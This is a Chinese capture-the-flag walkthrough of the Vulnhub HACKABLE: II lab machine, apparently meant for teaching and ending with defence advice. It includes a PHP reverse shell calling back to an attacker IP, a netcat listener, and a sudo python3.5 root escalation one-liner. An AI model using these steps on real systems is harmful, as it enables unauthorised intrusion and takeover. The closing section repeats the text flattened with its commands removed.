vulnhub|HACKABLE: II 记录
字数 1127 2025-08-11 08:35:36

Vulnhub靶机HACKABLE: II渗透测试教学文档

靶机概述

渗透测试步骤详解

1. 主机发现

使用网络扫描工具发现目标主机IP地址:

arp-scan -l
netdiscover

2. 端口扫描

使用nmap进行端口扫描:

nmap -sV -p- 192.168.199.100

预期结果:发现开放端口,特别是FTP(21)和HTTP(80)端口

3. FTP服务探测

发现FTP服务允许匿名登录:

ftp 192.168.199.100

使用用户名anonymous和空密码登录

4. Web目录扫描

使用dirsearch工具扫描Web目录:

dirsearch -u http://192.168.199.100

关键发现:寻找可上传文件的目录或特殊页面

5. Web页面访问

访问目标Web页面,寻找可利用的功能点

6. FTP上传PHP反弹shell

创建PHP反弹shell文件shell.php,内容如下(需修改IP和端口):

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.199.247'; // 攻击者IP
$port = 6666; // 监听端口
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

// ... [完整代码见原文] ...
?>

通过FTP上传此文件到Web可访问目录

7. 建立监听并触发反弹shell

在攻击机上设置监听:

nc -lvnp 6666

访问上传的PHP文件URL触发反弹shell

8. 升级shell交互性

在获得的shell中执行:

python3 -c 'import pty;pty.spawn("/bin/bash")'

script /dev/null -c bash

9. 系统信息收集

检查系统版本:

cat /etc/os-release

检查内核版本:

uname -a

10. 敏感文件查找

查找home目录和系统隐藏文件:

ls -la /home/
ls -la /

11. 提权路径分析

方法一:隐藏文件利用

  1. 发现并执行隐藏的可执行文件
  2. 获取的可能是MD5哈希值
  3. 使用在线工具破解MD5获取密码

方法二:sudo提权

检查用户sudo权限:

sudo -l

发现可以使用python3.5提权:

sudo /usr/bin/python3.5 -c 'import pty;pty.spawn("/bin/bash")'

12. 获取flag

  1. 用户flag通常在/home/user/目录下
  2. root flag通常在/root/目录下

关键知识点总结

  1. FTP匿名登录:许多系统配置不当允许匿名访问,是常见入口点

  2. Web文件上传漏洞

    • 通过FTP上传Web shell
    • 需要找到Web服务器可执行的目录
  3. 反弹shell技术

    • PHP反弹shell的构造与使用
    • Netcat监听设置
    • 交互式shell升级方法
  4. 权限提升方法

    • sudo权限滥用(python)
    • 系统隐藏后门利用
    • 密码破解(MD5)
  5. 信息收集技巧

    • 系统版本识别
    • 敏感文件查找
    • 用户权限检查

防御建议

  1. 禁用FTP匿名登录
  2. 限制Web目录写入权限
  3. 定期检查系统隐藏文件和异常可执行文件
  4. 合理配置sudo权限
  5. 使用强密码并避免使用可破解的哈希存储方式

扩展思考

  1. 如果FTP不允许匿名登录,如何继续渗透?
  2. 如果Web目录不可写,还有哪些可能的攻击路径?
  3. 如何检测和防御PHP反弹shell攻击?
Vulnhub靶机HACKABLE: II渗透测试教学文档 靶机概述 英文名称 : HACKABLE: II 难度等级 : 容易 运行环境 : VirtualBox (不适用于VMware) 下载地址 : https://www.vulnhub.com/entry/hackable-ii,711/ 渗透测试步骤详解 1. 主机发现 使用网络扫描工具发现目标主机IP地址: 2. 端口扫描 使用nmap进行端口扫描: 预期结果 :发现开放端口,特别是FTP(21)和HTTP(80)端口 3. FTP服务探测 发现FTP服务允许匿名登录: 使用用户名 anonymous 和空密码登录 4. Web目录扫描 使用dirsearch工具扫描Web目录: 关键发现 :寻找可上传文件的目录或特殊页面 5. Web页面访问 访问目标Web页面,寻找可利用的功能点 6. FTP上传PHP反弹shell 创建PHP反弹shell文件 shell.php ,内容如下(需修改IP和端口): 通过FTP上传此文件到Web可访问目录 7. 建立监听并触发反弹shell 在攻击机上设置监听: 访问上传的PHP文件URL触发反弹shell 8. 升级shell交互性 在获得的shell中执行: 或 9. 系统信息收集 检查系统版本: 检查内核版本: 10. 敏感文件查找 查找home目录和系统隐藏文件: 11. 提权路径分析 方法一:隐藏文件利用 发现并执行隐藏的可执行文件 获取的可能是MD5哈希值 使用在线工具破解MD5获取密码 方法二:sudo提权 检查用户sudo权限: 发现可以使用python3.5提权: 12. 获取flag 用户flag通常在 /home/user/ 目录下 root flag通常在 /root/ 目录下 关键知识点总结 FTP匿名登录 :许多系统配置不当允许匿名访问,是常见入口点 Web文件上传漏洞 : 通过FTP上传Web shell 需要找到Web服务器可执行的目录 反弹shell技术 : PHP反弹shell的构造与使用 Netcat监听设置 交互式shell升级方法 权限提升方法 : sudo权限滥用(python) 系统隐藏后门利用 密码破解(MD5) 信息收集技巧 : 系统版本识别 敏感文件查找 用户权限检查 防御建议 禁用FTP匿名登录 限制Web目录写入权限 定期检查系统隐藏文件和异常可执行文件 合理配置sudo权限 使用强密码并避免使用可破解的哈希存储方式 扩展思考 如果FTP不允许匿名登录,如何继续渗透? 如果Web目录不可写,还有哪些可能的攻击路径? 如何检测和防御PHP反弹shell攻击?